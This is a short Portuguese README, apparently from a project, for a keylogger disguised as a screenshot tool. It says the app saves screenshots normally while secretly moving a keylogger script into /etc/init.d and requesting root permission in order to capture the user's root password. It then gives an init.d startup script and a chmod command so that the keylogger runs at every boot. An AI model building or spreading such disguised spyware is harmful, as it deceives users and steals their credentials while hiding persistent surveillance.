Um keylogger que se disfarça de um app que tira print da tela.
Este programa captura o print da tela e salva ,normalmente, na pasta Pictures, como se fosse um programa de print comum
Mas, ele também move o script Configuration.py, o keylogger, para a pasta init.d
Além disso, ele requisita a permissão do usuário para executá-lo como root, desse modo, ele pega a senha root do usuário
E, com isso, pode movê-lo para pastas que não se teria permissão.
Mas, para funcionar corretamente, é necessário executá-lo sempre ao iniciar o computador.
O tipo de script para colocar na pasta etc/init.d/, para iniciá-lo:
#! /bin/sh # /etc/init.d/example
case "$1" in
start)
echo ""
# run application you want to start
python3 /etc/init.d/configuration.py &
;;
stop)
echo ""
*)
echo "Usage: /etc/init.d/example{start|stop}"
exit 1
;;
esac
exit 0****
Dar a permissão:
sudo chmod 755 example.sh